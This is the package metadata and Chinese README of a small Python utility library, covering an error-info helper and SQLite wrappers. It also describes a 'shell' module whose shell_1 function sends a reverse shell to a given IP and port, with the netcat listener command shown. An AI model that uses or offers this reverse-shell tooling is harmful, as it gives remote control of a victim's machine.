Metadata-Version: 2.4
Name: xiaokang
Version: 1.1.1
Summary: 一个简单的 Python 库
Author-email: ZhaoYuanKang <1756972525@qq.com>
License: MIT License
        
        Copyright (c) 2025 [ZhaoYuanKang or XiaoKang]
        
        Permission is hereby granted, free of charge, to any person obtaining a copy
        of this software and associated documentation files (the "Software"), to deal
        in the Software without restriction, including without limitation the rights
        to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
        copies of the Software, and to permit persons to whom the Software is
        furnished to do so, subject to the following conditions:
        
        1. The above copyright notice and this permission notice shall be included in
           all copies or substantial portions of the Software.
        
        2. Any modifications or derivative works of this software must be distributed
           under the same MIT License and must retain the original copyright notice.
        
        3. This software is provided "as is", without warranty of any kind, express or
           implied, including but not limited to the warranties of merchantability,
           fitness for a particular purpose, and non-infringement. In no event shall
           the authors or copyright holders be liable for any claim, damages, or other
           liability, whether in an action of contract, tort, or otherwise, arising from,
           out of, or in connection with the software or the use or other dealings in the
           Software.
        
        特此许可任何人免费获取副本
        本软件和相关文档文件(“软件”)的交易
        在软件中不受限制，包括但不限于权利
        使用、复制、修改、合并、发布、分发、再许可和/或销售
        软件的副本，并允许软件的使用者
        符合以下条件:
        
        1.上述版权声明和本许可声明应包含在
        软件的所有副本或重要部分。
        
        2.本软件的任何修改或衍生作品都必须分发
        在相同的MIT许可下，必须保留原始版权声明。
        
        3.本软件按“原样”提供，没有任何形式的担保，明示或
        暗示，包括但不限于适销性保证，
        适用于特定目的，且不侵权。在任何情况下都不得
        作者或版权所有者对任何索赔、损害赔偿或其他
        责任，无论是在合同诉讼、侵权诉讼或其他诉讼中，由以下原因引起，
        出于或与本软件或本软件的使用或
        软件。
        
Project-URL: Personal website, http://121.37.247.246:200/
Requires-Python: >=3.7
Description-Content-Type: text/markdown
License-File: LICENSE
Dynamic: license-file

# 项目简介

把一些常用的功能写成函数

---

# 函数大全

```
XiaoKang/
├──  常用                    # 常用的功能
│   └──  报错信息            # 报错的时候执行会显示报错信息
├──  sqlite                 #sqlite数据库的操作
│   ├──  db_sql             #提供sql语句，执行sql语句
│   ├──  db_cj              #提供字段和类型，创建数据表
│   ├──  db_dq              #提供sql语句和查找的值，进行查找数据
│   ├──  db_xr              #提供表、字段、值，进行写入数据
│   ├──  db_xg              #提供表、查找字段、查找值，写入字段、写入值，进行写入数据
├──  shell                  #shell反弹
│   └──  shell_1            #反弹shell到nc -lvnp 端口
└── 结束
```

# 函数讲解

所有的函数讲解怎么使用，和什么功能，你地，明白！？

## 1.ChangYong（常用）

### 1.1 BaoCuoXingxi（报错信息）

讲解功能：在代码执行的时候，如果报错可以执行这个，查看详细的报错信息

示例代码：

```
try:
    print('1'+1)
except:
    print(BaoCuoXingxi('json'))

输出：

{
    "报错类型":"<class 'TypeError'>",
    "报错信息":"can only concatenate str (not \"int\") to str",
    "报错文件":"C:\\xxx\\xxxx\\xxxxx\\test_1.py",
    "报错行数":6
}
```

## 2.sqlite（sqlite数据库）

### 2.1 db_sql（执行sql语句）

```
db_sql(sql, 数据库='主记录表')
    sql：sql的执行语句
    数据库：XXX.db文件，默认链接='主记录表'
```

返回：

```
(返回执行情况[真/假]，返回执行后的数据表)
```

---

### 2.2 db_cj（创建数据表）

```
db_cj(表名, 字段, 字段类型: dict = {}, 默认值='TEXT', 数据库='主记录表')
表名：创建的表名
字段[]：创建表中的字段
字段类型{}：指定创建字段的类型
默认值：在没有指定的情况下创建字段的默认值='TEXT'
数据库：XXX.db文件，默认链接='主记录表'
```

返回：

```
返回创建情况[真/假]
```

---

### 2.3 db_dq（读取数据）

```
db_dq(sql, value: tuple = '', 数据库='主记录表')
sql：查询数据的sql语句
value()：sql语句中的'?'值，防止被注入
数据库：XXX.db文件，默认链接='主记录表'
```

返回：

```
(返回执行情况[真/假]，返回执行后的数据表)
```

---

### 2.4 db_xr（新增写入数据）

```
db_xr(表: str, 段: list, 值: list, 数据库='主记录表')
表: 写入数据的表名
段: 写入的字段名
值: 写入的字段值
数据库: 写入的数据库名默认数据库='主记录表'
```

返回：

```
(返回执行情况[真/假]，返回自增值序号)
```

---

### 2.5 db_xg（修改已有数据）

```
db_xg(表: str, 查段: list, 查值: tuple, 写段: list, 写值: tuple, 数据库='主记录表')
表: 修改数据的表名
查段: 判断修改数据的字段名
查值: 字段名对应的值确保数据修改
写段: 需要修改的字段名
写值: 修改字段的值
数据库: 需要修改的数据名：默认值='主记录表'
```

返回：

```
(返回修改情况[真/假])
```

---

## 3.shell（shell反弹）

### 3.1 shell_1

```
用法: python shell.py <IP> <端口>

shell_1(<IP>, <端口>)

服务器开启监听
nc -lvnp 端口
```

# 安装方法

pip 安装大法

---

# 使用示例

导入函数会吧，不会自己学

---

# 依赖说明

目前没用使用其他依赖，都是用本地库

---

# 作者信息

作者：小康、米汤、鲁班

---
